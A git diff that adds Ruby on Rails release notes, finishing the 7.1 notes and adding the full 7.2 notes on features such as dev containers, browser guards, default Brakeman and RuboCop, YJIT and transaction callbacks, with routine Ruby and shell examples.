+along with built-in [Minitest support for pattern
+matching][minitest-pattern-matching] presents opportunities to make test
+assertions about the structure and content of the HTML response:
+
+```ruby
+get "/posts"
+
+html = response.parsed_body # => <html>
+                            #      <head></head>
+                            #        <body>
+                            #          <main><h1>Some main content</h1></main>
+                            #        </body>
+                            #     </html>
+
+assert_pattern { html.at("main") => { content: "Some main content" } }
+assert_pattern { html.at("main") => { content: /content/ } }
+assert_pattern { html.at("main") => { children: [{ name: "h1", content: /content/ }] } }
+```
+
+[#47144]: https://github.com/rails/rails/pull/47144
+[nokogiri-pattern-matching]: https://nokogiri.org/rdoc/Nokogiri/XML/Attr.html#method-i-deconstruct_keys
+[minitest-pattern-matching]: https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-assert_pattern
+
+### Introduce `ActionView::TestCase.register_parser`
+
+[Extend `ActionView::TestCase`][#49194] to support parsing content rendered by
+view partials into known structures. By default, define `rendered_html` to parse
+HTML into a `Nokogiri::XML::Node` and `rendered_json` to parse JSON into an
+`ActiveSupport::HashWithIndifferentAccess`:
+
+```ruby
+test "renders HTML" do
+  article = Article.create!(title: "Hello, world")
+
+  render partial: "articles/article", locals: { article: article }
+
+  assert_pattern { rendered_html.at("main h1") => { content: "Hello, world" } }
+end
+
+test "renders JSON" do
+  article = Article.create!(title: "Hello, world")
+
+  render formats: :json, partial: "articles/article", locals: { article: article }
+
+  assert_pattern { rendered_json => { title: "Hello, world" } }
+end
+```
+
+To parse the rendered content into RSS, register a call to `RSS::Parser.parse`:
+
+```ruby
+register_parser :rss, -> rendered { RSS::Parser.parse(rendered) }
+
+test "renders RSS" do
+  article = Article.create!(title: "Hello, world")
+
+  render formats: :rss, partial: article, locals: { article: article }
+
+  assert_equal "Hello, world", rendered_rss.items.last.title
+end
+```
+
+To parse the rendered content into a Capybara::Simple::Node, re-register an
+`:html` parser with a call to `Capybara.string`:
+
+```ruby
+register_parser :html, -> rendered { Capybara.string(rendered) }
+
+test "renders HTML" do
+  article = Article.create!(title: "Hello, world")
+
+  render partial: article
+
+  rendered_html.assert_css "main h1", text: "Hello, world"
+end
+```
+
+[#49194]: https://github.com/rails/rails/pull/49194
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `bin/rails secrets:setup` command.
+
+*   Remove default `X-Download-Options` header since it is used only by Internet Explorer.
+
+### Deprecations
+
+*   Deprecate usage of `Rails.application.secrets`.
+
+*   Deprecate `secrets:show` and `secrets:edit` commands in favor of `credentials`.
+
+*   Deprecate `Rails::Generators::Testing::Behaviour` in favor of `Rails::Generators::Testing::Behavior`.
+
+### Notable changes
+
+*   Add `sandbox_by_default` option to start rails console in sandbox mode by default.
+
+*   Add new syntax for support filtering tests by line ranges.
+
+*   Add `DATABASE` option that enables the specification of the target database when executing the
+    `rails railties:install:migrations` command to copy migrations.
+
+*   Add support for Bun in `rails new --javascript` generator.
+
+    ```bash
+    $ rails new my_new_app --javascript=bun
+    ```
+
+*   Add ability to show slow tests to the test runner.
+
+Action Cable
+------------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+*   Add `capture_broadcasts` test helper to capture all messages broadcasted in a block.
+
+*   Add the ability to Redis pub/sub adapter to automatically reconnect when Redis connection is lost.
+
+*   Add command callbacks `before_command`, `after_command`, and `around_command` to `ActionCable::Connection::Base`.
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   Remove deprecated behavior on `Request#content_type`
+
+*   Remove deprecated ability to assign a single value to `config.action_dispatch.trusted_proxies`.
+
+*   Remove deprecated `poltergeist` and `webkit` (capybara-webkit) driver registration for system testing.
+
+### Deprecations
+
+*   Deprecate `config.action_dispatch.return_only_request_media_type_on_content_type`.
+
+*   Deprecate `AbstractController::Helpers::MissingHelperError`.
+
+*   Deprecate `ActionDispatch::IllegalStateError`.
+
+*   Deprecate `speaker`, `vibrate`, and `vr` permissions policy directives.
+
+*   Deprecate `true` and `false` values for `config.action_dispatch.show_exceptions` in favor of `:all`, `:rescuable`, or `:none`.
+
+### Notable changes
+
+*   Add `exclude?` method to `ActionController::Parameters`. It is the inverse of `include?` method.
+
+*   Add `ActionController::Parameters#extract_value` method to allow extracting serialized values from params.
+
+*   Add the ability to use custom logic for storing and retrieving CSRF tokens.
+
+*   Add `html` and `screenshot` kwargs for system test screenshot helper.
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+*   Remove deprecated constant `ActionView::Path`.
+
+*   Remove deprecated support to passing instance variables as locals to partials.
+
+### Deprecations
+
+### Notable changes
+
+*   `checkbox_tag` and `radio_button_tag` now accept `checked` as a keyword argument.
+
+*   Add `picture_tag` helper to generate HTML `<picture>` tags.
+
+*   The `simple_format` helper now handles a `:sanitize_options` feature, allowing the addition of extra
+    options for the sanitize process.
+
+    ```ruby
+    simple_format("<a target=\"_blank\" href=\"http://example.com\">Continue</a>", {}, { sanitize_options: { attributes: %w[target href] } })
+    # => "<p><a target=\"_blank\" href=\"http://example.com\">Continue</a></p>"
+    ```
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+*   Deprecate `config.action_mailer.preview_path`.
+
+*   Deprecate passing params to `assert_enqueued_email_with` via the `:args` kwarg.
+    Now supports a `:params` kwarg, so use that to pass params.
+
+### Notable changes
+
+*   Add `config.action_mailer.preview_paths` to support multiple preview paths.
+
+*   Add `capture_emails` in the test helper to capture all emails sent in a block.
+
+*   Add `deliver_enqueued_emails` to `ActionMailer::TestHelper` to deliver all enqueued email jobs.
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Remove support for `ActiveRecord.legacy_connection_handling`.
+
+*   Remove deprecated `ActiveRecord::Base` config accessors
+
+*   Remove support for `:include_replicas` on `configs_for`. Use `:include_hidden` instead.
+
+*   Remove deprecated `config.active_record.partial_writes`.
+
+*   Remove deprecated `Tasks::DatabaseTasks.schema_file_type`.
+
+*   Remove `--no-comments` flag in structure dumps for PostgreSQL.
+
+### Deprecations
+
+*   Deprecate `name` argument on `#remove_connection`.
+
+*   Deprecate `check_pending!` in favor of `check_all_pending!`.
+
+*   Deprecate `deferrable: true` option of `add_foreign_key` in favor of `deferrable: :immediate`.
+
+*   Deprecate `TestFixtures#fixture_path` in favor of `TestFixtures#fixture_paths`.
+
+*   Deprecate delegation from `Base` to `connection_handler`.
+
+*   Deprecate `config.active_record.suppress_multiple_database_warning`.
+
+*   Deprecate using `ActiveSupport::Duration` as an interpolated bind parameter in an SQL
+    string template.
+
+*   Deprecate `all_connection_pools` and make `connection_pool_list` more explicit.
+
+*   Deprecate `read_attribute(:id)` returning the primary key if the primary key is not `:id`.
+
+*   Deprecate `rewhere` argument on `#merge`.
+
+*   Deprecate aliasing non-attributes with `alias_attribute`.
+
+### Notable changes
+
+*   Add `TestFixtures#fixture_paths` to support multiple fixture paths.
+
+*   Add `authenticate_by` when using `has_secure_password`.
+
+*   Add `update_attribute!` to `ActiveRecord::Persistence`, which is similar to `update_attribute`
+    but raises `ActiveRecord::RecordNotSaved` when a `before_*` callback throws `:abort`.
+
+*   Allow using aliased attributes with `insert_all`/`upsert_all`.
+
+*   Add `:include` option to `add_index`.
+
+*   Add `#regroup` query method as a short-hand for `.unscope(:group).group(fields)`.
+
+*   Add support for auto-populated columns, and custom primary keys to the `SQLite3` adapter.
+
+*   Add modern, performant defaults for `SQLite3` database connections.
+
+*   Allow specifying where clauses with column-tuple syntax.
+
+    ```ruby
+    Topic.where([:title, :author_name] => [["The Alchemist", "Paulo Coelho"], ["Harry Potter", "J.K Rowling"]])
+    ```
+
+*   Auto generated index names are now limited to 62 bytes, which fits within the default
+    index name length limits for MySQL, PostgreSQL and SQLite.
+
+*   Introduce adapter for Trilogy database client.
+
+*   Add `ActiveRecord.disconnect_all!` method to immediately close all connections from all pools.
+
+*   Add PostgreSQL migration commands for enum rename, add value, and rename value.
+
+*   Add `ActiveRecord::Base#id_value` alias to access the raw value of a record's id column.
+
+*   Add validation option for `enum`.
+
+*   The default hash digest for `ActiveRecord::Encryption`, used for attributes defined with `encrypts`, is now `SHA256`, changed from `SHA1` in the default configuration. These defaults also include `support_sha1_for_non_deterministic_encryption = false` which can lead to apps being unable to decrypt data encrypted with the old default hash digest if data is not re-encrypted.
+
+Active Storage
+--------------
+
+Please refer to the [Changelog][active-storage] for detailed changes.
+
+### Removals
+
+*   Remove deprecated invalid default content types in Active Storage configurations.
+
+*   Remove deprecated `ActiveStorage::Current#host` and `ActiveStorage::Current#host=` methods.
+
+*   Remove deprecated behavior when assigning to a collection of attachments. Instead of appending to the collection,
+    the collection is now replaced.
+
+*   Remove deprecated `purge` and `purge_later` methods from the attachments association.
+
+### Deprecations
+
+### Notable changes
+
+*   `ActiveStorage::Analyzer::AudioAnalyzer` now outputs `sample_rate` and `tags` in the output `metadata` hash.
+
+*   Add the option to utilize predefined variants when invoking the `preview` or `representation` methods on an
+    attachment.
+
+*   `preprocessed` option is added when declaring variants to preprocess variants.
+
+*   Add the ability to destroy Active Storage variants.
+
+    ```ruby
+    User.first.avatar.variant(resize_to_limit: [100, 100]).destroy
+    ```
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+*   Add support for infinite ranges to `LengthValidator`s `:in`/`:within` options.
+
+    ```ruby
+    validates_length_of :first_name, in: ..30
+    ```
+
+*   Add support for beginless ranges to `inclusivity/exclusivity` validators.
+
+    ```ruby
+    validates_inclusion_of :birth_date, in: -> { (..Date.today) }
+    ```
+
+    ```ruby
+    validates_exclusion_of :birth_date, in: -> { (..Date.today) }
+    ```
+
+*   Add support for password challenges to `has_secure_password`. When set, validate that the password
+    challenge matches the persisted `password_digest`.
+
+*   Allow validators to accept lambdas without record argument.
+
+    ```ruby
+    # Before
+    validates_comparison_of :birth_date, less_than_or_equal_to: ->(_record) { Date.today }
+
+    # After
+    validates_comparison_of :birth_date, less_than_or_equal_to: -> { Date.today }
+    ```
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Remove deprecated override of `Enumerable#sum`.
+
+*   Remove deprecated `ActiveSupport::PerThreadRegistry`.
+
+*   Remove deprecated option to passing a format to `#to_s` in `Array`, `Range`, `Date`, `DateTime`, `Time`,
+    `BigDecimal`, `Float` and, `Integer`.
+
+*   Remove deprecated override of `ActiveSupport::TimeWithZone.name`.
+
+*   Remove deprecated `active_support/core_ext/uri` file.
+
+*   Remove deprecated `active_support/core_ext/range/include_time_with_zone` file.
+
+*   Remove implicit conversion of objects into `String` by `ActiveSupport::SafeBuffer`.
+
+*   Remove deprecated support to generate incorrect RFC 4122 UUIDs when providing a namespace ID that is not one of the
+    constants defined on `Digest::UUID`.
+
+### Deprecations
+
+*   Deprecate `config.active_support.disable_to_s_conversion`.
+
+*   Deprecate `config.active_support.remove_deprecated_time_with_zone_name`.
+
+*   Deprecate `config.active_support.use_rfc4122_namespaced_uuids`.
+
+*   Deprecate `SafeBuffer#clone_empty`.
+
+*   Deprecate usage of the singleton `ActiveSupport::Deprecation`.
+
+*   Deprecate initializing a `ActiveSupport::Cache::MemCacheStore` with an instance of `Dalli::Client`.
+
+*   Deprecate `Notification::Event`'s `#children` and `#parent_of?` methods.
+
+### Notable changes
+
+Active Job
+----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Removals
+
+*   Remove `QueAdapter`.
+
+### Deprecations
+
+### Notable changes
+
+*   Add `perform_all_later` to enqueue multiple jobs at once.
+
+*   Add `--parent` option to job generator to specify parent class of job.
+
+*   Add `after_discard` method to `ActiveJob::Base` to run a callback when a job is about to be discarded.
+
+*   Add support for logging background job enqueue callers via `config.active_job.verbose_enqueue_logs`.
+
+Action Text
+----------
+
+Please refer to the [Changelog][action-text] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Mailbox
+----------
+
+Please refer to the [Changelog][action-mailbox] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+*   Add `X-Forwarded-To` addresses to recipients.
+
+*   Add `bounce_now_with` method to `ActionMailbox::Base` to send the bounce email without going through a
+    mailer queue.
+
+Ruby on Rails Guides
+--------------------
+
+Please refer to the [Changelog][guides] for detailed changes.
+
+### Notable changes
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](https://contributors.rubyonrails.org/)
+for the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/7-1-stable/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/7-1-stable/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/7-1-stable/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/7-1-stable/actionmailer/CHANGELOG.md
+[action-cable]:   https://github.com/rails/rails/blob/7-1-stable/actioncable/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/7-1-stable/activerecord/CHANGELOG.md
+[active-storage]: https://github.com/rails/rails/blob/7-1-stable/activestorage/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/7-1-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/7-1-stable/activesupport/CHANGELOG.md
+[active-job]:     https://github.com/rails/rails/blob/7-1-stable/activejob/CHANGELOG.md
+[action-text]:    https://github.com/rails/rails/blob/7-1-stable/actiontext/CHANGELOG.md
+[action-mailbox]: https://github.com/rails/rails/blob/7-1-stable/actionmailbox/CHANGELOG.md
+[guides]:         https://github.com/rails/rails/blob/7-1-stable/guides/CHANGELOG.md
diff --git a/guides/source/7_2_release_notes.md b/guides/source/7_2_release_notes.md
new file mode 100644
index 0000000000000..71f4ceb8b519d
--- /dev/null
+++ b/guides/source/7_2_release_notes.md
@@ -0,0 +1,623 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Ruby on Rails 7.2 Release Notes
+===============================
+
+Highlights in Rails 7.2:
+
+* Development containers configuration for applications.
+* Add browser version guard by default.
+* Make Ruby 3.1 the new minimum version.
+* Default Progressive Web Application (PWA) files.
+* Add omakase RuboCop rules by default.
+* Add GitHub CI workflow by default to new applications.
+* Add Brakeman by default to new applications.
+* Set a new default for the Puma thread count.
+* Prevent jobs from being scheduled within transactions.
+* Per transaction commit and rollback callbacks.
+* Enable YJIT by default if running Ruby 3.3+.
+* New design for the Rails guides.
+* Setup jemalloc in default Dockerfile to optimize memory allocation.
+* Suggest puma-dev configuration in bin/setup.
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the changelogs or check out the [list of
+commits](https://github.com/rails/rails/commits/7-2-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 7.2
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 7.1 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 7.2. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-7-1-to-rails-7-2)
+guide.
+
+Major Features
+--------------
+
+### Development containers configuration for applications
+
+A [development container](https://containers.dev/) (or dev container for short) allows you to use a container
+as a full-featured development environment.
+
+Rails 7.2 adds the ability to generate a development container configuration for your application. This configuration
+includes a `.devcontainer` folder with a `Dockerfile`, a `docker-compose.yml` file, and a `devcontainer.json` file.
+
+By default, the dev container contains the following:
+
+* A Redis container for use with Kredis, Action Cable, etc.
+* A database (SQLite, Postgres, MySQL or MariaDB)
+* A Headless Chrome container for system tests
+* Active Storage configured to use the local disk and with preview features working
+
+To generate a new application with a development container, you can run:
+
+```bash
+$ rails new myapp --devcontainer
+```
+
+For existing applications, a `devcontainer` command is now available:
+
+```bash
+$ rails devcontainer
+```
+
+For more information, see the [Getting Started with Dev Containers](getting_started_with_devcontainer.html) guide.
+
+### Add browser version guard by default
+
+Rails now adds the ability to specify the browser versions that will be allowed to access all actions
+(or some, as limited by `only:` or `except:`).
+
+Only browsers matched in the hash or named set passed to `versions:` will be blocked if they're below the versions
+specified.
+
+This means that all other unknown browsers, as well as agents that aren't reporting a user-agent header, will be allowed access.
+
+A browser that's blocked will by default be served the file in `public/406-unsupported-browser.html` with an HTTP status
+code of "406 Not Acceptable".
+
+Examples:
+
+```ruby
+class ApplicationController < ActionController::Base
+  # Allow only browsers natively supporting webp images, web push, badges, import maps, CSS nesting + :has
+  allow_browser versions: :modern
+end
+
+class ApplicationController < ActionController::Base
+  # All versions of Chrome and Opera will be allowed, but no versions of "internet explorer" (ie). Safari needs to be 16.4+ and Firefox 121+.
+  allow_browser versions: { safari: 16.4, firefox: 121, ie: false }
+end
+
+class MessagesController < ApplicationController
+  # In addition to the browsers blocked by ApplicationController, also block Opera below 104 and Chrome below 119 for the show action.
+  allow_browser versions: { opera: 104, chrome: 119 }, only: :show
+end
+```
+
+Newly generated applications have this guard set in `ApplicationController`.
+
+For more information, see the [allow_browser](https://api.rubyonrails.org/classes/ActionController/AllowBrowser/ClassMethods.html#method-i-allow_browser)
+documentation.
+
+### Make Ruby 3.1 the new minimum version
+
+Until now, Rails only dropped compatibility with older Rubies on new majors version.
+We are changing this policy because it causes us to keep compatibility with long
+unsupported versions of Ruby or to bump the Rails major version more often, and to
+drop multiple Ruby versions at once when we bump the major.
+
+We will now drop Ruby versions that are end-of-life on minor Rails versions at the time of the release.
+
+For Rails 7.2, Ruby 3.1 is the new minimum version.
+
+### Default Progressive Web Application (PWA) files
+
+In preparation to better supporting the creation of PWA applications with Rails, we now generate default PWA files for the manifest
+and service worker, which are served from `app/views/pwa` and can be dynamically rendered through ERB. Those files
+are mounted explicitly at the root with default routes in the generated routes file.
+
+For more information, see the [pull request adding the feature](https://github.com/rails/rails/pull/50528).
+
+### Add omakase RuboCop rules by default
+
+Rails applications now come with [RuboCop](https://rubocop.org/) configured with a set of rules from [rubocop-rails-omakase](https://github.com/rails/rubocop-rails-omakase) by default.
+
+Ruby is a beautifully expressive language that not only tolerates many different dialects, but celebrates their
+diversity. It was never meant as a language to be written exclusively in a single style across all libraries,
+frameworks, or applications. If you or your team has developed a particular house style that brings you joy,
+you should cherish that.
+
+This collection of RuboCop styles is for those who haven't committed to any specific dialect already. Who would just
+like to have a reasonable starting point, and who will benefit from some default rules to at least start a consistent
+approach to Ruby styling.
+
+These specific rules aren't right or wrong, but merely represent the idiosyncratic aesthetic sensibilities of Rails'
+creator. Use them whole, use them as a starting point, use them as inspiration, or however you see fit.
+
+### Add GitHub CI workflow by default to new applications
+
+Rails now adds a default GitHub CI workflow file to new applications. This will get especially newcomers off to a good
+start with automated scanning, linting, and testing. We find that a natural continuation for the modern age of what
+we've done since the start with unit tests.
+
+It's of course true that GitHub Actions are a commercial cloud product for private repositories after you've used the
+free tokens. But given the relationship between GitHub and Rails, the overwhelming default nature of the platform for
+newcomers, and the value of teaching newcomers good CI habits, we find this to be an acceptable trade-off.
+
+### Add Brakeman by default to new applications
+
+[Brakeman](https://brakemanscanner.org/) is a great way to prevent common security vulnerabilities in Rails from going
+into production.
+
+New applications come with Brakeman installed and combined with the GitHub CI workflow, it will run automatically on
+every push.
+
+### Set a new default for the Puma thread count
+
+Rails changed the default number of threads in Puma from 5 to 3.
+
+Due to the nature of well-optimized Rails applications, with quick SQL queries and slow 3rd-party calls running via jobs,
+Ruby can spend a significant amount of time waiting for the Global VM Lock (GVL) to release when the thread count is too
+high, which is hurting latency (request response time).
+
+After careful consideration, investigation, and based on battle-tested experience from applications running in
+production, we decided that a default of 3 threads is a good balance between concurrency and performance.
+
+You can follow a very detailed discussion about this change in [the issue](https://github.com/rails/rails/issues/50450).
+
+### Prevent jobs from being scheduled within transactions
+
+A common mistake with Active Job is to enqueue jobs from inside a transaction, causing them to potentially be picked
+and ran by another process, before the transaction is committed, which result in various errors.
+
+```ruby
+Topic.transaction do
+  topic = Topic.create
+
+  NewTopicNotificationJob.perform_later(topic)
+end
+```
+
+Now Active Job will automatically defer the enqueuing to after the transaction is committed, and drop the job if the
+transaction is rolled back.
+
+Various queue implementations can chose to disable this behavior, and users can disable it, or force it on a per job
+basis:
+
+```ruby
+class NewTopicNotificationJob < ApplicationJob
+  self.enqueue_after_transaction_commit = :never
+end
+```
+
+### Per transaction commit and rollback callbacks
+
+This is now possible due to a new feature that allows registering transaction callbacks outside of a record.
+
+`ActiveRecord::Base.transaction` now yields an `ActiveRecord::Transaction` object, which allows registering callbacks
+on it.
+
+```ruby
+Article.transaction do |transaction|
+  article.update(published: true)
+
+  transaction.after_commit do
+    PublishNotificationMailer.with(article: article).deliver_later
+  end
+end
+```
+
+`ActiveRecord::Base.current_transaction` was also added to allow to register callbacks on it.
+
+```ruby
+Article.current_transaction.after_commit do
+  PublishNotificationMailer.with(article: article).deliver_later
+end
+```
+
+And finally, `ActiveRecord.after_all_transactions_commit` was added, for code that may run either inside or outside a
+transaction and needs to perform work after the state changes have been properly persisted.
+
+```ruby
+def publish_article(article)
+  article.update(published: true)
+
+  ActiveRecord.after_all_transactions_commit do
+    PublishNotificationMailer.with(article: article).deliver_later
+  end
+end
+```
+
+See [#51474](https://github.com/rails/rails/pull/51474) and [#51426](https://github.com/rails/rails/pull/51426) for more information:
+
+### Enable YJIT by default if running Ruby 3.3+
+
+YJIT is Ruby's JIT compiler that is available in CRuby since Ruby 3.1. It can provide significant performance
+improvements for Rails applications, offering 15-25% latency improvements.
+
+In Rails 7.2, YJIT is enabled by default if running Ruby 3.3 or newer.
+
+You can disable YJIT by setting:
+
+```ruby
+Rails.application.config.yjit = false
+```
+
+### New design for the Rails guides
+
+When Rails 7.0 landed in December 2021, it came with a fresh new homepage and a new boot screen. The design of the
+guides, however, has remained largely untouched since 2009 - a point which hasn’t gone unnoticed (we heard your feedback).
+
+With all of the work right now going into removing complexity from the Rails framework and making the documentation
+consistent, clear, and up-to-date, it was time to tackle the design of the guides and make them equally modern, simple,
+and fresh.
+
+We worked with UX designer [John Athayde](https://meticulous.com/) to take the look and feel of the homepage and
+transfer that over to the Rails guides to make them clean, sleek, and up-to-date.
+
+The layout will remain the same, but from today you will see the following changes reflected in the guides:
+
+* Cleaner, less busy design.
+* Fonts, color scheme, and logo more consistent with the home page.
+* Updated iconography.
+* Simplified navigation.
+* Sticky "Chapters" navbar when scrolling.
+
+See the [announcement blog post for some before/after images](https://rubyonrails.org/2024/3/20/rails-guides-get-a-facelift).
+
+### Setup jemalloc in default Dockerfile to optimize memory allocation
+
+[Ruby's use of `malloc` can create memory fragmentation problems, especially when using multiple threads](https://www.speedshop.co/2017/12/04/malloc-doubles-ruby-memory.html)
+like Puma does. Switching to an allocator that uses different patterns to avoid fragmentation can decrease memory usage
+by a substantial margin.
+
+Rails 7.2 now includes [jemalloc](https://jemalloc.net/) in the default Dockerfile to optimize memory allocation.
+
+### Suggest puma-dev configuration in bin/setup
+
+[Puma-dev](https://github.com/puma/puma-dev) is the golden path for developing multiple Rails applications locally, if you're not using Docker.
+
+Rails now suggests how to get that setup in a new comment you'll find in `bin/setup`.
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `Rails::Generators::Testing::Behaviour`.
+
+*   Remove deprecated `Rails.application.secrets`.
+
+*   Remove deprecated `Rails.config.enable_dependency_loading`.
+
+*   Remove deprecated `find_cmd_and_exec` console helper.
+
+*   Remove support for `oracle`, `sqlserver`, and JRuby specific database adapters from the `new`
+    and `db:system:change` `rails` commands.
+
+*   Remove `config.public_file_server.enabled` option from the generators.
+
+### Deprecations
+
+### Notable changes
+
+*   Add RuboCop with rules from [rubocop-rails-omakase](https://github.com/rails/rubocop-rails-omakase)
+    by default in both new applications and plugins.
+
+*   Add Brakeman with default configuration for security checks in new applications.
+
+*   Add GitHub CI files for Dependabot, Brakeman, RuboCop, and running tests by default for new applications and plugins.
+
+*   YJIT is now enabled by default for new applications running on Ruby 3.3+.
+
+*   Generate a `.devcontainer` folder for running the application in a container with Visual Studio Code.
+
+    ```bash
+    $ rails new myapp --devcontainer
+    ```
+
+*   Introduce `Rails::Generators::Testing::Assertions#assert_initializer` to test initializers.
+
+*   System tests now use Headless Chrome by default for new applications.
+
+*   Support the `BACKTRACE` environment variable to turn off backtrace cleaning in normal server runnings.
+    Previously, this was only available for testing.
+
+*   Add default Progressive Web App (PWA) files for the manifest and service worker, served from `app/views/pwa`,
+    and make them dynamically renderable through ERB.
+
+Action Cable
+------------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   Remove deprecated constant `ActionDispatch::IllegalStateError`.
+
+*   Remove deprecated constant `AbstractController::Helpers::MissingHelperError`.
+
+*   Remove deprecated comparison between `ActionController::Parameters` and `Hash`.
+
+*   Remove deprecated `Rails.application.config.action_dispatch.return_only_request_media_type_on_content_type`.
+
+*   Remove deprecated `speaker`, `vibrate`, and `vr` permissions policy directives.
+
+*   Remove deprecated support to set `Rails.application.config.action_dispatch.show_exceptions` to `true` and `false`.
+
+### Deprecations
+
+*   Deprecate `Rails.application.config.action_controller.allow_deprecated_parameters_hash_equality`.
+
+### Notable changes
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `@rails/ujs` in favor of Turbo.
+
+### Deprecations
+
+*  Deprecate passing content to void elements when using `tag.br` type tag builders.
+
+### Notable changes
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `config.action_mailer.preview_path`.
+
+*   Remove deprecated params via `:args` for `assert_enqueued_email_with`.
+
+### Deprecations
+
+### Notable changes
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `Rails.application.config.active_record.suppress_multiple_database_warning`.
+
+*   Remove deprecated support to call `alias_attribute` with non-existent attribute names.
+
+*   Remove deprecated `name` argument from `ActiveRecord::Base.remove_connection`.
+
+*   Remove deprecated `ActiveRecord::Base.clear_active_connections!`.
+
+*   Remove deprecated `ActiveRecord::Base.clear_reloadable_connections!`.
+
+*   Remove deprecated `ActiveRecord::Base.clear_all_connections!`.
+
+*   Remove deprecated `ActiveRecord::Base.flush_idle_connections!`.
+
+*   Remove deprecated `ActiveRecord::ActiveJobRequiredError`.
+
+*   Remove deprecated support to define `explain` in the connection adapter with 2 arguments.
+
+*   Remove deprecated `ActiveRecord::LogSubscriber.runtime` method.
+
+*   Remove deprecated `ActiveRecord::LogSubscriber.runtime=` method.
+
+*   Remove deprecated `ActiveRecord::LogSubscriber.reset_runtime` method.
+
+*   Remove deprecated `ActiveRecord::Migration.check_pending` method.
+
+*   Remove deprecated support to passing `SchemaMigration` and `InternalMetadata` classes as arguments to
+    `ActiveRecord::MigrationContext`.
+
+*   Remove deprecated behavior to support referring to a singular association by its plural name.
+
+*   Remove deprecated `TestFixtures.fixture_path`.
+
+*   Remove deprecated support to `ActiveRecord::Base#read_attribute(:id)` to return the custom primary key value.
+
+*   Remove deprecated support to passing coder and class as second argument to `serialize`.
+
+*   Remove deprecated `#all_foreign_keys_valid?` from database adapters.
+
+*   Remove deprecated `ActiveRecord::ConnectionAdapters::SchemaCache.load_from`.
+
+*   Remove deprecated `ActiveRecord::ConnectionAdapters::SchemaCache#data_sources`.
+
+*   Remove deprecated `#all_connection_pools`.
+
+*   Remove deprecated support to apply `#connection_pool_list`, `#active_connections?`, `#clear_active_connections!`,
+    `#clear_reloadable_connections!`, `#clear_all_connections!` and `#flush_idle_connections!` to the connections pools
+    for the current role when the `role` argument isn't provided.
+
+*   Remove deprecated `ActiveRecord::ConnectionAdapters::ConnectionPool#connection_klass`.
+
+*   Remove deprecated `#quote_bound_value`.
+
+*   Remove deprecated support to quote `ActiveSupport::Duration`.
+
+*   Remove deprecated support to pass `deferrable: true` to `add_foreign_key`.
+
+*   Remove deprecated support to pass `rewhere` to `ActiveRecord::Relation#merge`.
+
+*   Remove deprecated behavior that would rollback a transaction block when exited using `return`, `break` or `throw`.
+
+### Deprecations
+
+*   Deprecate `Rails.application.config.active_record.allow_deprecated_singular_associations_name`
+
+*   Deprecate `Rails.application.config.active_record.commit_transaction_on_non_local_return`
+
+### Notable changes
+
+*   `ActiveRecord::Base.establish_connection` no longer sets `ActiveRecord::Base.connection.active?` to `true`. If you need this behavior, you can use `ActiveRecord::Base.connection.verify!` instead.
+
+Active Storage
+--------------
+
+Please refer to the [Changelog][active-storage] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `config.active_storage.replace_on_assign_to_many`.
+
+*   Remove deprecated `config.active_storage.silence_invalid_content_types_warning`.
+
+### Deprecations
+
+### Notable changes
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `ActiveSupport::Notifications::Event#children` and  `ActiveSupport::Notifications::Event#parent_of?`.
+
+*   Remove deprecated support to call the following methods without passing a deprecator:
+
+    - `deprecate`
+    - `deprecate_constant`
+    - `ActiveSupport::Deprecation::DeprecatedObjectProxy.new`
